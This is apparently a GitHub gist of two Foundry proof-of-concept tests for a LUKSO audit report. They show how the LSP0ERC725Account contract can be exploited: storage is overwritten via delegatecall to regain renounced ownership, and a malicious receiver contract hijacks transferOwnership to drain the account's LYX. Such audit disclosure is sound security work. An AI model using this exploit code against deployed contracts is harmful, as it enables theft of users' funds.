Skip to content

Instantly share code, notes, and snippets.

@MiloTruck
Last active August 30, 2023 18:12
Show Gist options
  • Save MiloTruck/0c8e038048cc9916db7a5eb77a9467a7 to your computer and use it in GitHub Desktop.
Save MiloTruck/0c8e038048cc9916db7a5eb77a9467a7 to your computer and use it in GitHub Desktop.
PoCs for LUKSO Audit Report
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../../contracts/LSP0ERC725Account/LSP0ERC725Account.sol";
contract Implementation {
// _pendingOwner is at slot 3 for LSP0ERC725Account
bytes32[3] __gap;
address _pendingOwner;
function setPendingOwner(address newPendingOwner) external {
_pendingOwner = newPendingOwner;
}
}
contract RenounceOwnership_POC is Test {
LSP0ERC725Account account;
function setUp() public {
// Deploy LSP0 account with this address as owner
account = new LSP0ERC725Account(address(this));
}
function testCanRegainOwnership() public {
// Call renounceOwnership() to initiate the process
account.renounceOwnership();
// Overwrite _pendingOwner using a delegatecall
Implementation implementation = new Implementation();
account.execute(
4, // OPERATION_4_DELEGATECALL
address(implementation),
0,
abi.encodeWithSelector(Implementation.setPendingOwner.selector, address(this))
);
// _pendingOwner is now set to this address
assertEq(account.pendingOwner(), address(this));
// Call renounceOwnership() again to renounce ownership
vm.roll(block.number + 200);
account.renounceOwnership();
// Owner is now set to address(0)
assertEq(account.owner(), address(0));
// Call acceptOwnership() to regain ownership
account.acceptOwnership();
// Owner is now set to address(this) again
assertEq(account.owner(), address(this));
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../../../contracts/LSP0ERC725Account/LSP0ERC725Account.sol";
contract Implementation {
// _owner is at slot 0 for LSP0ERC725Account
address _owner;
function setOwner(address newOwner) external {
_owner = newOwner;
}
}
contract MaliciousReceiver {
LSP0ERC725Account account;
bool universalReceiverDisabled;
constructor(LSP0ERC725Account _account) {
account = _account;
}
function universalReceiver(bytes32, bytes calldata) external returns (bytes memory) {
// Disable universalReceiver()
universalReceiverDisabled = true;
// Cache owner for later use
address owner = account.owner();
// Call acceptOwnership() to become the owner
account.acceptOwnership();
// Transfer all LYX balance to this contract
account.execute(
0, // OPERATION_0_CALL
address(this),
10 ether,
""
);
// Overwrite _owner with the previous owner using delegatecall
Implementation implementation = new Implementation();
account.execute(
4, // OPERATION_4_DELEGATECALL
address(implementation),
0,
abi.encodeWithSelector(Implementation.setOwner.selector, owner)
);
return "";
}
function supportsInterface(bytes4) external view returns (bool) {
return !universalReceiverDisabled;
}
receive() payable external {}
}
contract TwoStepOwnership_POC is Test {
LSP0ERC725Account account;
function setUp() public {
// Deploy LSP0 account with address(this) as owner and give it some LYX
account = new LSP0ERC725Account(address(this));
deal(address(account), 10 ether);
}
function testCanDrainContractInTransferOwnership() public {
// Attacker deploys malicious receiver contract
MaliciousReceiver maliciousReceiver = new MaliciousReceiver(account);
// Victim calls transferOwnership() for malicious receiver
account.transferOwnership(address(maliciousReceiver));
// All LYX in the account has been drained
assertEq(address(account).balance, 0);
assertEq(address(maliciousReceiver).balance, 10 ether);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment